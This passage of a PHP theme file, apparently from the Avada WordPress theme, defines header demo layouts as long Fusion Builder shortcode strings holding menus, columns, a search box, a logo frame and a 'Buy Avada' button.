hide_on_mobile="small-visibility,medium-visibility,large-visibility" sticky_display="normal,sticky" direction="row" transition_time="300" submenu_space="" arrows="" arrows_size="" class="" id="" min_height="70px" sticky_min_height="" align_items="stretch" justify_content="flex-end" font_size="" text_transform="none" items_padding="" gap="" transition_type="left" icons_position="left" icons_size="16" thumbnail_size="" bg="" color="rgba(255,255,255,0.55)" active_bg="" active_color="#ffffff" border="" border_color="" active_border="" active_border_color="" icons_color="" icons_hover_color="" dropdown_carets="yes" submenu_mode="dropdown" expand_method="hover" expand_direction="right" expand_transition="opacity" submenu_flyout_direction="fade" submenu_font_size="13px" submenu_text_transform="none" submenu_items_padding="" box_shadow="yes" box_shadow_blur="10" box_shadow_spread="0" box_shadow_color="rgba(0,0,0,0.03)" box_shadow_style="" submenu_sep_color="rgba(0,0,0,0)" submenu_bg="" submenu_color="" submenu_active_bg="#65bc7b" submenu_active_color="#ffffff" breakpoint="medium" custom_breakpoint="900" mobile_nav_mode="collapse-to-button" mobile_nav_size="full-absolute" trigger_padding="" mobile_trigger_background_color="rgba(0,0,0,0)" mobile_trigger_color="#ffffff" collapsed_nav_text="" collapsed_nav_icon_open="fa-bars fas" collapsed_nav_icon_close="fa-times fas" mobile_icon_size="28" mobile_nav_button_align_hor="flex-end" mobile_nav_trigger_fullwidth="off" mobile_nav_items_height="55" mobile_indent_submenu="on" mobile_bg="" mobile_color="#050505" mobile_active_bg="#65bc7b" mobile_active_color="#ffffff" mobile_sep_color="#ffffff" animation_type="" animation_direction="left" animation_speed="0.3" animation_offset="" fusion_font_variant_mobile_typography="" fusion_font_variant_typography="" items_padding_top="" items_padding_bottom="" active_border_top="" active_border_bottom="" fusion_font_variant_submenu_typography="" box_shadow_vertical="3" box_shadow_horizontal="0" submenu_border_radius_top_left="6px" submenu_border_radius_top_right="6px" submenu_border_radius_bottom_right="6px" submenu_border_radius_bottom_left="6px" margin_top="" margin_bottom="" border_top="" border_bottom="" fusion_font_family_typography="" trigger_padding_top="25px" trigger_padding_bottom="25px" items_padding_right="15px" items_padding_left="15px" mobile_nav_trigger_bottom_margin="10px" mobile_trigger_font_size="30px" /][/fusion_builder_column][fusion_builder_column type="25" layout="25" align_self="auto" align_content="flex-start" spacing="" center_content="no" link="" target="_self" min_height="" hide_on_mobile="medium-visibility,large-visibility" class="" id="" type_medium="" type_small="3_4" order_medium="0" order_small="0" order="0" dimension_spacing_medium="" dimension_spacing_small="" dimension_spacing="" dimension_margin_medium="" dimension_margin_small="" margin_top="0px" margin_bottom="0px" padding_medium="" padding_small="" padding_top="" padding_right="" padding_bottom="" padding_left="" hover_type="none" border_color="rgba(255,255,255,0.2)" border_style="solid" border_position="right" border_radius="" box_shadow="no" dimension_box_shadow="" box_shadow_blur="0" box_shadow_spread="0" box_shadow_color="" box_shadow_style="" background_type="single" gradient_start_color="" gradient_end_color="" gradient_start_position="0" gradient_end_position="100" gradient_type="linear" radial_direction="center center" linear_angle="180" background_color="" background_image="" background_image_id="" background_position="left top" background_repeat="no-repeat" background_blend_mode="none" animation_type="" animation_direction="left" animation_speed="0.3" animation_offset="" filter_type="regular" filter_hue="0" filter_saturation="100" filter_brightness="100" filter_contrast="100" filter_invert="0" filter_sepia="0" filter_opacity="100" filter_blur="0" filter_hue_hover="0" filter_saturation_hover="100" filter_brightness_hover="100" filter_contrast_hover="100" filter_invert_hover="0" filter_sepia_hover="0" filter_opacity_hover="100" filter_blur_hover="0" last="false" first="false" spacing_right="" element_content="" border_sizes_right="0px" type="25"][fusion_search live_search="" design="" search_content="" search_limit_to_post_titles="" placeholder="" animation_type="" animation_direction="left" animation_speed="0.3" animation_offset="" hide_on_mobile="small-visibility,medium-visibility,large-visibility" class="" id="" border_width="0" bg_color="#39424e" text_color="rgba(255,255,255,0.75)" /][/fusion_builder_column][fusion_builder_column type="15" layout="15" align_self="auto" align_content="flex-start" spacing="" center_content="no" link="" target="_self" min_height="" hide_on_mobile="medium-visibility,large-visibility" class="" id="" type_medium="" type_small="1_4" order_medium="0" order_small="0" order="0" dimension_spacing_medium="" dimension_spacing_small="" dimension_spacing="" dimension_margin_medium="" dimension_margin_small="" margin_top="0px" margin_bottom="0px" padding_medium="" padding_small="" padding_top="" padding_right="" padding_bottom="" padding_left="20px" hover_type="none" border_color="" border_style="solid" border_position="all" border_radius="" box_shadow="no" dimension_box_shadow="" box_shadow_blur="0" box_shadow_spread="0" box_shadow_color="" box_shadow_style="" background_type="single" gradient_start_color="" gradient_end_color="" gradient_start_position="0" gradient_end_position="100" gradient_type="linear" radial_direction="center center" linear_angle="180" background_color="" background_image="" background_image_id="" background_position="left top" background_repeat="no-repeat" background_blend_mode="none" animation_type="" animation_direction="left" animation_speed="0.3" animation_offset="" filter_type="regular" filter_hue="0" filter_saturation="100" filter_brightness="100" filter_contrast="100" filter_invert="0" filter_sepia="0" filter_opacity="100" filter_blur="0" filter_hue_hover="0" filter_saturation_hover="100" filter_brightness_hover="100" filter_contrast_hover="100" filter_invert_hover="0" filter_sepia_hover="0" filter_opacity_hover="100" filter_blur_hover="0" last="true" first="false" spacing_right="" element_content="" border_sizes_top="0px" border_sizes_bottom="0px" border_sizes_left="0px" border_sizes_right="0px" type="15"][fusion_menu menu="side-nav" hide_on_mobile="small-visibility,medium-visibility,large-visibility" sticky_display="normal,sticky" direction="row" transition_time="300" submenu_space="" arrows="" arrows_size="" class="" id="" min_height="" sticky_min_height="" align_items="center" justify_content="flex-end" font_size="15px" text_transform="none" items_padding="" gap="" transition_type="left" icons_position="left" icons_size="16" thumbnail_size="" bg="" color="" active_bg="" active_color="" border="" border_color="" active_border="" active_border_color="" icons_color="#ffffff" icons_hover_color="" dropdown_carets="no" submenu_mode="dropdown" expand_method="hover" expand_direction="right" expand_transition="opacity" submenu_flyout_direction="fade" submenu_font_size="13px" submenu_text_transform="none" submenu_items_padding="" box_shadow="yes" box_shadow_blur="10" box_shadow_spread="0" box_shadow_color="rgba(0,0,0,0.03)" box_shadow_style="" submenu_sep_color="rgba(0,0,0,0)" submenu_bg="" submenu_color="" submenu_active_bg="#65bc7b" submenu_active_color="#ffffff" breakpoint="never" custom_breakpoint="900" mobile_nav_mode="collapse-to-button" mobile_nav_size="full-absolute" trigger_padding="" mobile_trigger_background_color="" mobile_trigger_color="#000000" collapsed_nav_text="Go to..." collapsed_nav_icon_open="fa-bars fas" collapsed_nav_icon_close="fa-times fas" mobile_icon_size="23" mobile_nav_button_align_hor="flex-end" mobile_nav_trigger_fullwidth="off" mobile_nav_items_height="55" mobile_indent_submenu="on" mobile_bg="" mobile_color="" mobile_active_bg="#65bc7b" mobile_active_color="#ffffff" mobile_sep_color="#ffffff" animation_type="" animation_direction="left" animation_speed="0.3" animation_offset="" fusion_font_variant_mobile_typography="" fusion_font_variant_typography="" items_padding_top="10px" items_padding_bottom="10px" active_border_top="" active_border_bottom="" fusion_font_variant_submenu_typography="" box_shadow_vertical="3" box_shadow_horizontal="0" submenu_border_radius_top_left="6px" submenu_border_radius_top_right="6px" submenu_border_radius_bottom_right="6px" submenu_border_radius_bottom_left="6px" margin_top="" margin_bottom="" border_top="" items_padding_right="12px" items_padding_left="12px" /][/fusion_builder_column][/fusion_builder_row][/fusion_builder_container]', ]; $demos['new-3'] = [ 'name' => 'New 3', 'image' => $preview_image, 'position' => 'calc( 900% / 15 )', 'css' => '', 'content' => '[fusion_builder_container hundred_percent="no" hundred_percent_height="min" hundred_percent_height_scroll="no" align_content="stretch" flex_align_items="center" hundred_percent_height_center_content="yes" equal_height_columns="no" hide_on_mobile="medium-visibility,large-visibility" status="published" border_style="solid" box_shadow="yes" box_shadow_blur="50" box_shadow_spread="1" gradient_start_position="0" gradient_end_position="100" gradient_type="linear" radial_direction="center center" linear_angle="180" background_position="center center" background_repeat="no-repeat" fade="no" background_parallax="none" enable_mobile="no" parallax_speed="0.3" background_blend_mode="none" video_aspect_ratio="16:9" video_loop="yes" video_mute="yes" container_tag="div" absolute="off" absolute_devices="small,medium,large" sticky="on" sticky_devices="small-visibility,medium-visibility,large-visibility" sticky_transition_offset="0" scroll_offset="0" animation_direction="left" animation_speed="0.3" filter_hue="0" filter_saturation="100" filter_brightness="100" filter_contrast="100" filter_invert="0" filter_sepia="0" filter_opacity="100" filter_blur="0" filter_hue_hover="0" filter_saturation_hover="100" filter_brightness_hover="100" filter_contrast_hover="100" filter_invert_hover="0" filter_sepia_hover="0" filter_opacity_hover="100" filter_blur_hover="0" background_color="#ffffff" border_color="rgba(0,0,0,0.1)" flex_column_spacing="0" box_shadow_vertical="0" box_shadow_horizontal="0" box_shadow_color="rgba(0,0,0,0.1)" padding_top_small="15px" padding_bottom_small="0px" z_index="999" type="flex" padding_top="0px" padding_right="30px" padding_bottom="0px" padding_left="30px"][fusion_builder_row][fusion_builder_column type="58" layout="58" align_self="auto" align_content="flex-start" spacing="" center_content="no" link="" target="_self" min_height="" hide_on_mobile="small-visibility,medium-visibility,large-visibility" class="" id="" type_medium="" type_small="3_4" order_medium="0" order_small="1" order="0" dimension_spacing_medium="" dimension_spacing_small="" dimension_spacing="" dimension_margin_medium="" dimension_margin_small="" margin_top="0px" margin_bottom="0px" padding_medium="" padding_small="" padding_top="" padding_right="" padding_bottom="" padding_left="" hover_type="none" border_color="" border_style="solid" border_position="all" border_radius="" box_shadow="no" dimension_box_shadow="" box_shadow_blur="0" box_shadow_spread="0" box_shadow_color="" box_shadow_style="" background_type="single" gradient_start_color="" gradient_end_color="" gradient_start_position="0" gradient_end_position="100" gradient_type="linear" radial_direction="center center" linear_angle="180" background_color="" background_image="" background_image_id="" background_position="left top" background_repeat="no-repeat" background_blend_mode="none" animation_type="" animation_direction="left" animation_speed="0.3" animation_offset="" filter_type="regular" filter_hue="0" filter_saturation="100" filter_brightness="100" filter_contrast="100" filter_invert="0" filter_sepia="0" filter_opacity="100" filter_blur="0" filter_hue_hover="0" filter_saturation_hover="100" filter_brightness_hover="100" filter_contrast_hover="100" filter_invert_hover="0" filter_sepia_hover="0" filter_opacity_hover="100" filter_blur_hover="0" last="false" first="true" element_content="" spacing_right="" spacing_left="-10px" border_sizes_top="0px" border_sizes_bottom="0px" border_sizes_left="0px" border_sizes_right="0px" margin_bottom_small="0px" type="58"][fusion_menu menu="left-menu" hide_on_mobile="small-visibility,medium-visibility,large-visibility" sticky_display="normal,sticky" direction="row" transition_time="300" submenu_space="" arrows="" arrows_size="" class="" id="" min_height="30px" sticky_min_height="" align_items="stretch" justify_content="flex-start" font_size="14px" text_transform="none" items_padding="" gap="40px" transition_type="left" icons_position="left" icons_size="16" thumbnail_size="" bg="" color="" active_bg="" active_color="" border="" border_color="" active_border="" active_border_color="" icons_color="" icons_hover_color="" dropdown_carets="yes" submenu_mode="dropdown" expand_method="hover" expand_direction="right" expand_transition="opacity" submenu_flyout_direction="fade" submenu_font_size="13px" submenu_text_transform="none" submenu_items_padding="" box_shadow="yes" box_shadow_blur="10" box_shadow_spread="0" box_shadow_color="rgba(0,0,0,0.03)" box_shadow_style="" submenu_sep_color="rgba(0,0,0,0)" submenu_bg="" submenu_color="" submenu_active_bg="#65bc7b" submenu_active_color="#ffffff" breakpoint="never" custom_breakpoint="900" mobile_nav_mode="collapse-to-button" mobile_nav_size="full-absolute" trigger_padding="" mobile_trigger_background_color="" mobile_trigger_color="#000000" collapsed_nav_text="" collapsed_nav_icon_open="fa-bars fas" collapsed_nav_icon_close="fa-times fas" mobile_icon_size="23" mobile_nav_button_align_hor="flex-end" mobile_nav_trigger_fullwidth="off" mobile_nav_items_height="55" mobile_indent_submenu="on" mobile_bg="" mobile_color="" mobile_active_bg="#65bc7b" mobile_active_color="#ffffff" mobile_sep_color="#ffffff" animation_type="" animation_direction="left" animation_speed="0.3" animation_offset="" fusion_font_variant_mobile_typography="" fusion_font_variant_typography="" items_padding_top="" items_padding_bottom="" active_border_top="" active_border_bottom="" fusion_font_variant_submenu_typography="" box_shadow_vertical="3" box_shadow_horizontal="0" submenu_border_radius_top_left="0" submenu_border_radius_top_right="0" submenu_border_radius_bottom_right="6px" submenu_border_radius_bottom_left="6px" margin_top="" margin_bottom="" border_top="" border_bottom="" /][/fusion_builder_column][fusion_builder_column type="30" layout="30" align_self="auto" align_content="flex-start" spacing="" center_content="no" link="" target="_self" min_height="" hide_on_mobile="small-visibility,medium-visibility,large-visibility" class="" id="" type_medium="" type_small="1_4" order_medium="0" order_small="2" order="0" dimension_spacing_medium="" dimension_spacing_small="" dimension_spacing="" dimension_margin_medium="" dimension_margin_small="" margin_top="0px" margin_bottom="0px" padding_medium="" padding_small="" padding_top="" padding_right="15%" padding_bottom="" padding_left="" hover_type="none" border_color="" border_style="solid" border_position="all" border_radius="" box_shadow="no" dimension_box_shadow="" box_shadow_blur="0" box_shadow_spread="0" box_shadow_color="" box_shadow_style="" background_type="single" gradient_start_color="" gradient_end_color="" gradient_start_position="0" gradient_end_position="100" gradient_type="linear" radial_direction="center center" linear_angle="180" background_color="" background_image="" background_image_id="" background_position="left top" background_repeat="no-repeat" background_blend_mode="none" animation_type="" animation_direction="left" animation_speed="0.3" animation_offset="" filter_type="regular" filter_hue="0" filter_saturation="100" filter_brightness="100" filter_contrast="100" filter_invert="0" filter_sepia="0" filter_opacity="100" filter_blur="0" filter_hue_hover="0" filter_saturation_hover="100" filter_brightness_hover="100" filter_contrast_hover="100" filter_invert_hover="0" filter_sepia_hover="0" filter_opacity_hover="100" filter_blur_hover="0" last="false" first="false" element_content="" spacing_right="" spacing_left="0px" border_sizes_top="0px" border_sizes_bottom="0px" border_sizes_left="0px" border_sizes_right="0px" margin_bottom_small="0px" type="30"][fusion_menu menu="side-nav" hide_on_mobile="small-visibility,medium-visibility,large-visibility" sticky_display="normal,sticky" direction="row" transition_time="300" submenu_space="" arrows="" arrows_size="" class="" id="" min_height="" sticky_min_height="" align_items="center" justify_content="flex-end" font_size="15px" text_transform="none" items_padding="" gap="" transition_type="left" icons_position="left" icons_size="16" thumbnail_size="" bg="" color="" active_bg="" active_color="" border="" border_color="" active_border="" active_border_color="" icons_color="#242a33" icons_hover_color="" dropdown_carets="no" submenu_mode="dropdown" expand_method="hover" expand_direction="right" expand_transition="opacity" submenu_flyout_direction="fade" submenu_font_size="13px" submenu_text_transform="none" submenu_items_padding="" box_shadow="yes" box_shadow_blur="10" box_shadow_spread="0" box_shadow_color="rgba(0,0,0,0.03)" box_shadow_style="" submenu_sep_color="rgba(0,0,0,0)" submenu_bg="" submenu_color="" submenu_active_bg="#65bc7b" submenu_active_color="#ffffff" breakpoint="never" custom_breakpoint="900" mobile_nav_mode="collapse-to-button" mobile_nav_size="full-absolute" trigger_padding="" mobile_trigger_background_color="" mobile_trigger_color="#000000" collapsed_nav_text="Go to..." collapsed_nav_icon_open="fa-bars fas" collapsed_nav_icon_close="fa-times fas" mobile_icon_size="23" mobile_nav_button_align_hor="flex-end" mobile_nav_trigger_fullwidth="off" mobile_nav_items_height="55" mobile_indent_submenu="on" mobile_bg="" mobile_color="" mobile_active_bg="#65bc7b" mobile_active_color="#ffffff" mobile_sep_color="#ffffff" animation_type="" animation_direction="left" animation_speed="0.3" animation_offset="" fusion_font_variant_mobile_typography="" fusion_font_variant_typography="" items_padding_top="10px" items_padding_bottom="10px" active_border_top="" active_border_bottom="" fusion_font_variant_submenu_typography="" box_shadow_vertical="3" box_shadow_horizontal="0" submenu_border_radius_top_left="6px" submenu_border_radius_top_right="6px" submenu_border_radius_bottom_right="6px" submenu_border_radius_bottom_left="6px" margin_top="" margin_bottom="" border_top="" items_padding_right="12px" items_padding_left="12px" /][/fusion_builder_column][fusion_builder_column type="12" layout="12" align_self="auto" align_content="flex-start" spacing="" center_content="no" link="" target="_self" min_height="" hide_on_mobile="small-visibility,medium-visibility,large-visibility" class="" id="" type_medium="" type_small="" order_medium="0" order_small="0" order="0" dimension_spacing_medium="" dimension_spacing_small="" dimension_spacing="" dimension_margin_medium="" dimension_margin_small="" margin_top="0px" margin_bottom="0px" padding_medium="" padding_small="" padding_top="" padding_right="" padding_bottom="" padding_left="" hover_type="none" border_color="" border_style="solid" border_position="all" border_radius="" box_shadow="no" dimension_box_shadow="" box_shadow_blur="0" box_shadow_spread="0" box_shadow_color="" box_shadow_style="" background_type="single" gradient_start_color="" gradient_end_color="" gradient_start_position="0" gradient_end_position="100" gradient_type="linear" radial_direction="center center" linear_angle="180" background_color="" background_image="" background_image_id="" background_position="left top" background_repeat="no-repeat" background_blend_mode="none" animation_type="" animation_direction="left" animation_speed="0.3" animation_offset="" filter_type="regular" filter_hue="0" filter_saturation="100" filter_brightness="100" filter_contrast="100" filter_invert="0" filter_sepia="0" filter_opacity="100" filter_blur="0" filter_hue_hover="0" filter_saturation_hover="100" filter_brightness_hover="100" filter_contrast_hover="100" filter_invert_hover="0" filter_sepia_hover="0" filter_opacity_hover="100" filter_blur_hover="0" last="true" first="false" element_content="" spacing_right="" spacing_left="0px" border_sizes_top="0px" border_sizes_bottom="0px" border_sizes_left="0px" border_sizes_right="0px" type="12"][fusion_button link="" text_transform="" title="" target="_self" link_attributes="" alignment="right" modal="" color="default" button_gradient_top_color="#65bc7b" button_gradient_bottom_color="#65bc7b" button_gradient_top_color_hover="#539b65" button_gradient_bottom_color_hover="#539b65" accent_color="#ffffff" accent_hover_color="fff" type="" bevel_color="" border_width="" border_radius="31" border_color="" border_hover_color="" size="large" stretch="yes" icon="" icon_position="left" icon_divider="no" animation_type="" animation_direction="left" animation_speed="0.3" animation_offset="" hide_on_mobile="small-visibility,medium-visibility,large-visibility" class="" id=""]Buy Avada[/fusion_button][/fusion_builder_column][/fusion_builder_row][/fusion_builder_container][fusion_builder_container hundred_percent="no" hundred_percent_height="no" hundred_percent_height_scroll="no" align_content="stretch" flex_align_items="center" flex_justify_content="flex-start" hundred_percent_height_center_content="yes" equal_height_columns="no" hide_on_mobile="small-visibility,medium-visibility,large-visibility" status="published" border_style="solid" box_shadow="no" box_shadow_blur="0" box_shadow_spread="0" gradient_start_position="0" gradient_end_position="100" gradient_type="linear" radial_direction="center center" linear_angle="180" background_position="center center" background_repeat="no-repeat" fade="no" background_parallax="none" enable_mobile="no" parallax_speed="0.3" background_blend_mode="none" video_aspect_ratio="16:9" video_loop="yes" video_mute="yes" container_tag="div" absolute="on" absolute_devices="small,medium,large" sticky="off" sticky_devices="small-visibility,medium-visibility,large-visibility" sticky_transition_offset="0" scroll_offset="0" animation_direction="left" animation_speed="0.3" filter_hue="0" filter_saturation="100" filter_brightness="100" filter_contrast="100" filter_invert="0" filter_sepia="0" filter_opacity="100" filter_blur="0" filter_hue_hover="0" filter_saturation_hover="100" filter_brightness_hover="100" filter_contrast_hover="100" filter_invert_hover="0" filter_sepia_hover="0" filter_opacity_hover="100" filter_blur_hover="0" padding_top="40px" padding_bottom="40px" z_index="2" type="flex" padding_right="30px" padding_left="30px" background_color="rgba(255,255,255,0.01)"][fusion_builder_row][fusion_builder_column type="1_4" layout="1_4" align_self="auto" align_content="flex-start" spacing="" center_content="no" link="" target="_self" min_height="" hide_on_mobile="small-visibility,medium-visibility,large-visibility" sticky_display="normal,sticky" class="" id="" type_medium="" type_small="1_2" order_medium="0" order_small="0" dimension_spacing_medium="" dimension_spacing_small="" dimension_spacing="" dimension_margin_medium="" dimension_margin_small="" margin_top="0px" margin_bottom="0px" padding_medium="" padding_small="" padding_top="" padding_right="" padding_bottom="" padding_left="" hover_type="none" border_sizes="" border_color="" border_style="solid" border_radius="" box_shadow="no" dimension_box_shadow="" box_shadow_blur="0" box_shadow_spread="0" box_shadow_color="" box_shadow_style="" background_type="single" gradient_start_color="" gradient_end_color="" gradient_start_position="0" gradient_end_position="100" gradient_type="linear" radial_direction="center center" linear_angle="180" background_color="" background_image="" background_image_id="" background_position="left top" background_repeat="no-repeat" background_blend_mode="none" animation_type="" animation_direction="left" animation_speed="0.3" animation_offset="" filter_type="regular" filter_hue="0" filter_saturation="100" filter_brightness="100" filter_contrast="100" filter_invert="0" filter_sepia="0" filter_opacity="100" filter_blur="0" filter_hue_hover="0" filter_saturation_hover="100" filter_brightness_hover="100" filter_contrast_hover="100" filter_invert_hover="0" filter_sepia_hover="0" filter_opacity_hover="100" filter_blur_hover="0" last="false" border_position="all" first="true" spacing_right="" type="1_4"][fusion_imageframe image_id="" max_width="180px" sticky_max_width="" style_type="" blur="" stylecolor="" hover_type="none" bordersize="" bordercolor="" borderradius="" align_medium="none" align_small="none" align="none" lightbox="no" gallery_id="" lightbox_image="" lightbox_image_id="" alt="" link="" linktarget="_self" animation_type="" animation_direction="left" animation_speed="0.3" animation_offset="" hide_on_mobile="small-visibility,medium-visibility,large-visibility" sticky_display="normal,sticky" class="" id="" filter_hue="0" filter_saturation="100" filter_brightness="100" filter_contrast="100" filter_invert="0" filter_sepia="0" filter_opacity="100" filter_blur="0" filter_hue_hover="0" filter_saturation_hover="100" filter_brightness_hover="100" filter_contrast_hover="100" filter_invert_hover="0" filter_sepia_hover="0" filter_opacity_hover="100" filter_blur_hover="0" dynamic_params="eyJlbGVtZW50X2NvbnRlbnQiOnsiZGF0YSI6InNpdGVfbG9nbyIsInR5cGUiOiJhbGwifSwibGluayI6eyJkYXRhIjoic2l0ZV91cmwifX0=" /][/fusion_builder_column][fusion_builder_column type="3_4" layout="3_4" align_self="auto" align_content="flex-start" spacing="" center_content="no" link="" target="_self" min_height="" hide_on_mobile="small-visibility,medium-visibility,large-visibility" sticky_display="normal,sticky" class="" id="" type_medium="" type_small="1_2" order_medium="0" order_small="0" dimension_spacing_medium="" dimension_spacing_small="" dimension_spacing="" dimension_margin_medium="" dimension_margin_small="" margin_top="0px" margin_bottom="0px" padding_medium="" padding_small="" padding_top="" padding_right="" padding_bottom="" padding_left="" hover_type="none" border_sizes="" border_color="" border_style="solid" border_radius="" box_shadow="no" dimension_box_shadow="" box_shadow_blur="0" box_shadow_spread="0" box_shadow_color="" box_shadow_style="" background_type="single" gradient_start_color="" gradient_end_color="" gradient_start_position="0" gradient_end_position="100" gradient_type="linear" radial_direction="center center" linear_angle="180" background_color="" background_image="" background_image_id="" background_position="left top" background_repeat="no-repeat" background_blend_mode="none" animation_type="" animation_direction="left" animation_speed="0.3" animation_offset="" filter_type="regular" filter_hue="0" filter_saturation="100" filter_brightness="100" filter_contrast="100" filter_invert="0" filter_sepia="0" filter_opacity="100" filter_blur="0" filter_hue_hover="0" filter_saturation_hover="100" filter_brightness_hover="100" filter_contrast_hover="100" filter_invert_hover="0" filter_sepia_hover="0" filter_opacity_hover="100" filter_blur_hover="0" last="true" border_position="all" first="false" type="3_4"][fusion_menu menu="left-menu" hide_on_mobile="small-visibility,medium-visibility,large-visibility" sticky_display="normal,sticky" direction="row" transition_time="300" submenu_space="" arrows="" arrows_size="" class="" id="" min_height="80px" sticky_min_height="" align_items="stretch" justify_content="flex-end" font_size="" text_transform="none" items_padding="" gap="" transition_type="left" icons_position="left" icons_size="16" thumbnail_size="" bg="" color="" active_bg="" active_color="" border="" border_color="" active_border="" active_border_color="" icons_color="" icons_hover_color="" dropdown_carets="yes" submenu_mode="dropdown" expand_method="hover" expand_direction="right" expand_transition="opacity" submenu_flyout_direction="fade" submenu_font_size="13px" submenu_text_transform="none" submenu_items_padding="" box_shadow="yes" box_shadow_blur="10" box_shadow_spread="0" box_shadow_color="rgba(0,0,0,0.03)" box_shadow_style="" submenu_sep_color="rgba(0,0,0,0)" submenu_bg="" submenu_color="" submenu_active_bg="#65bc7b" submenu_active_color="#ffffff" breakpoint="small" custom_breakpoint="900" mobile_nav_mode="collapse-to-button" mobile_nav_size="full-absolute" trigger_padding="" mobile_trigger_background_color="" mobile_trigger_color="#000000" collapsed_nav_text="" collapsed_nav_icon_open="fa-bars fas" collapsed_nav_icon_close="fa-times fas" mobile_icon_size="23" mobile_nav_button_align_hor="flex-end" mobile_nav_trigger_fullwidth="off" mobile_nav_items_height="55" mobile_indent_submenu="on" mobile_bg="" mobile_color="" mobile_active_bg="#65bc7b" mobile_active_color="#ffffff" mobile_sep_color="#ffffff" animation_type="" animation_direction="left" animation_speed="0.3" animation_offset="" fusion_font_variant_mobile_typography="" fusion_font_variant_typography="" items_padding_top="" items_padding_bottom="" active_border_top="" active_border_bottom="" fusion_font_variant_submenu_typography="" box_shadow_vertical="3" box_shadow_horizontal="0" submenu_border_radius_top_left="6px" submenu_border_radius_top_right="6px" submenu_border_radius_bottom_right="6px" submenu_border_radius_bottom_left="6px" margin_top="" margin_bottom="" border_top="" border_bottom="" mobile_nav_trigger_bottom_margin="20px" items_padding_right="25px" items_padding_left="25px" mobile_trigger_font_size="25px" /][/fusion_builder_column][/fusion_builder_row][/fusion_builder_container]', ]; $demos['new-4'] = [ 'name' => 'New 4', 'image' => $preview_image, 'position' => 'calc( 1000% / 15 )', 'css' => 'background-position: calc( 1000% / 15 ) 52px;background-color: #ededed;', 'content' => '[fusion_builder_container hundred_percent="no" hundred_percent_height="min" hundred_percent_height_scroll="no" align_content="stretch" flex_align_items="flex-start" flex_justify_content="flex-start" hundred_percent_height_center_content="yes" equal_height_columns="no" hide_on_mobile="small-visibility,medium-visibility,large-visibility" status="published" border_style="solid" box_shadow="no" box_shadow_blur="0" box_shadow_spread="0" gradient_start_position="0" gradient_end_position="100" gradient_type="linear" radial_direction="center center" linear_angle="180" background_position="center center" background_repeat="no-repeat" fade="no" background_parallax="none" enable_mobile="no" parallax_speed="0.3" background_blend_mode="none" video_aspect_ratio="16:9" video_loop="yes" video_mute="yes" container_tag="div" absolute="off" absolute_devices="small,medium,large" sticky="off" sticky_devices="small-visibility,medium-visibility,large-visibility" sticky_transition_offset="0" scroll_offset="0" animation_direction="left" animation_speed="0.3" filter_hue="0" filter_saturation="100" filter_brightness="100" filter_contrast="100" filter_invert="0" filter_sepia="0" filter_opacity="100" filter_blur="0" filter_hue_hover="0" filter_saturation_hover="100" filter_brightness_hover="100" filter_contrast_hover="100" filter_invert_hover="0" filter_sepia_hover="0" filter_opacity_hover="100" filter_blur_hover="0" min_height="calc( 100vh - 75px )" background_color="#dddddd" flex_column_spacing="0px" type="flex"][fusion_builder_row][fusion_builder_column type="1_1" layout="1_1" align_self="auto" align_content="flex-start" spacing="" center_content="no" link="" target="_self" min_height="" hide_on_mobile="small-visibility,medium-visibility,large-visibility" sticky_display="normal,sticky" class="" id="" type_medium="" type_small="" order_medium="0" order_small="0" dimension_spacing_medium="" dimension_spacing_small="" dimension_spacing="" dimension_margin_medium="" dimension_margin_small="" margin_top="" margin_bottom="" padding_medium="" padding_small="" padding_top="" padding_right="" padding_bottom="" padding_left="" hover_type="none" border_sizes="" border_color="" border_style="solid" border_radius="" box_shadow="no" dimension_box_shadow="" box_shadow_blur="0" box_shadow_spread="0" box_shadow_color="" box_shadow_style="" background_type="single" gradient_start_color="" gradient_end_color="" gradient_start_position="0" gradient_end_position="100" gradient_type="linear" radial_direction="center center" linear_angle="180" background_color="" background_image="" background_image_id="" background_position="left top" background_repeat="no-repeat" background_blend_mode="none" animation_type="" animation_direction="left" animation_speed="0.3" animation_offset="" filter_type="regular" filter_hue="0" filter_saturation="100" filter_brightness="100" filter_contrast="100" filter_invert="0" filter_sepia="0" filter_opacity="100" filter_blur="0" filter_hue_hover="0" filter_saturation_hover="100" filter_brightness_hover="100" filter_contrast_hover="100" filter_invert_hover="0" filter_sepia_hover="0" filter_opacity_hover="100" filter_blur_hover="0" last="true" border_position="all" element_content="" first="true" type="1_1"][/fusion_builder_column][/fusion_builder_row][/fusion_builder_container][fusion_builder_container hundred_percent="yes" hundred_percent_height="no" hundred_percent_height_scroll="no" align_content="stretch" flex_align_items="center" flex_justify_content="flex-start" hundred_percent_height_center_content="yes" equal_height_columns="no" hide_on_mobile="small-visibility,medium-visibility,large-visibility" status="published" border_style="solid" box_shadow="yes" box_shadow_blur="21" box_shadow_spread="0" gradient_start_position="0" gradient_end_position="100" gradient_type="linear" radial_direction="center center" linear_angle="180" background_position="center center" background_repeat="no-repeat" fade="no" background_parallax="none" enable_mobile="no" parallax_speed="0.3" background_blend_mode="none" video_aspect_ratio="16:9" video_loop="yes" video_mute="yes" container_tag="div" absolute="off" absolute_devices="small,medium,large" sticky="on" sticky_devices="small-visibility,medium-visibility,large-visibility" sticky_transition_offset="0" scroll_offset="0" animation_direction="left" animation_speed="0.3" filter_hue="0" filter_saturation="100" filter_brightness="100" filter_contrast="100" filter_invert="0" filter_sepia="0" filter_opacity="100" filter_blur="0" filter_hue_hover="0" filter_saturation_hover="100" filter_brightness_hover="100" filter_contrast_hover="100" filter_invert_hover="0" filter_sepia_hover="0" filter_opacity_hover="100" filter_blur_hover="0" background_color="#323a45" box_shadow_vertical="0" box_shadow_horizontal="0" box_shadow_color="rgba(50,58,69,0.52)" padding_top_small="0px" padding_bottom_small="20px" type="flex" padding_top="0px" padding_right="30px" padding_bottom="0px" padding_left="30px"][fusion_builder_row][fusion_builder_column type="28" layout="28" align_self="auto" align_content="flex-start" spacing="" center_content="no" link="" target="_self" min_height="" hide_on_mobile="small-visibility,medium-visibility,large-visibility" sticky_display="normal,sticky" class="" id="" type_medium="" type_small="1_2" order_medium="0" order_small="0" dimension_spacing_medium="" dimension_spacing_small="" dimension_spacing="" dimension_margin_medium="" dimension_margin_small="" margin_top="0px" margin_bottom="0px" padding_medium="" padding_small="" padding_top="" padding_right="" padding_bottom="" padding_left="" hover_type="none" border_sizes="" border_color="" border_style="solid" border_radius="" box_shadow="no" dimension_box_shadow="" box_shadow_blur="0" box_shadow_spread="0" box_shadow_color="" box_shadow_style="" background_type="single" gradient_start_color="" gradient_end_color="" gradient_start_position="0" gradient_end_position="100" gradient_type="linear" radial_direction="center center" linear_angle="180" background_color="" background_image="" background_image_id="" background_position="left top" background_repeat="no-repeat" 